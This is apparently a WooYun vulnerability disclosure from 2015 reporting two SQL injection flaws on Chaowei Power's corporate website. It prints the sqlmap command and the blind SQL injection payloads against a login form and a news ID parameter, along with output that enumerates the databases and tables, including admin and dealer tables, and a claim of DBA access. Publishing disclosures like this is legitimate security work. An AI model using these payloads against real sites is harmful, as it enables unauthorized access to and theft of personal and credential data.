漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0162553
漏洞标题：中国500强之超威动力控股主站两处SQL注入一枚,泄露全部经销商详细信息/管理员/DBA权限
相关厂商：超威动力控股有限公司
漏洞作者： 逆流冰河
提交时间：2015-12-19 15:26
修复时间：2016-02-04 17:47
公开时间：2016-02-04 17:47
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-19： 细节已通知厂商并且等待厂商处理中
2015-12-23： 厂商已经确认，细节仅向厂商公开
2016-01-02： 细节向核心白帽子及相关领域专家公开
2016-01-12： 细节向普通白帽子公开
2016-01-22： 细节向实习白帽子公开
2016-02-04： 细节向公众公开
简要描述：
超威电源有限公司创立于1998年，是一家专业从事动力型和储能型蓄电池研发、制造、销售的高新技术企业。现为中国电池工业协会常务理事、中国电池工业协会铅酸蓄电池分会副理事长、中国电器工业协会全国铅酸蓄电池分会副理事长、中国化学与物理电源协会常务理事、中国电工技术学术铅酸蓄电池专业委员会副主任委员、全国铅酸蓄电池标准化技术委员会委员、浙江省蓄电池行业协会副会长、浙江省自行车行业协会副理事长单位。
详细说明：
1,注入点:
2,注入信息
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/controller/contro.php?action=login_check&login_username=admin' AND 1156=1156 AND 'XlhF'='XlhF&login_password=admin&m=0.9825822759885341
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://**.**.**.**:80/controller/contro.php?action=login_check&login_username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))CBSR) AND 'PugL'='PugL&login_password=admin&m=0.9825822759885341
---
[21:34:03] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
available databases [5]:
[*] cnchaowei
[*] cnchaowei_en
[*] information_schema
[*] mysql
[*] performance_schema
3,表信息
Database: cnchaowei
+------------------+---------+
| Table | Entries |
+------------------+---------+
| tb_manyi | 203554 |
| tb_zijian | 10605 |
| tb_goumai | 2621 |
| tb_guzhang | 2057 |
| tb_content | 1555 |
| tb_postmail | 1217 |
| tb_jingxiaoshang | 802 | ---->经销商
| tb_fankui | 516 |
| tb_network_class | 472 |
| tb_admin | 86 | ---->管理员
| tb_admin_cate | 20 | ---->管理员密码
| tb_ppic | 18 |
| tb_content_class | 17 |
| tb_supply | 11 |
| tb_ips | 10 |
| tb_ping | 10 |
| tb_chanye_class | 7 |
| tb_procon | 5 |
| tb_shenhe | 2 |
| tb_mail_server | 1 |
| tb_seo | 1 |
| tb_seo_class | 1 |
+------------------+---------+
4,不深入了,对了,是dba权限
漏洞证明：
1,注入点:sqlmap -u "http://**.**.**.**/en/newsEvents1.php?id=184" --batch
2,注入信息:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=184 AND 8434=8434
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=184 AND (SELECT * FROM (SELECT(SLEEP(5)))QTLr)
---
[22:05:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
available databases [5]:
[*] cnchaowei
[*] cnchaowei_en
[*] information_schema
[*] mysql
[*] performance_schema
3,表信息
Database: cnchaowei_en
+------------------+---------+
| Table | Entries |
+------------------+---------+
| tb_fankui | 47645 |
| tb_network_class | 472 |
| tb_content | 111 |
| tb_guzhang | 71 |
| tb_zijian | 68 |
| tb_goumai | 40 |
| tb_admin | 34 |
| tb_jingxiaoshang | 27 |
| tb_ping | 22 |
| tb_ppic | 18 |
| tb_content_class | 17 |
| tb_chanye_class | 7 |
| tb_postmail | 6 |
| tb_manyi | 5 |
| tb_procon | 5 |
| tb_admin_cate | 3 |
| tb_shenhe | 2 |
| tb_mail_server | 1 |
| tb_seo | 1 |
| tb_seo_class | 1 |
+------------------+---------+
4,不在深入
修复方案：
Fix
版权声明：转载请注明来源 逆流冰河@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-12-23 20:09
厂商回复：
CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。
最新状态：
暂无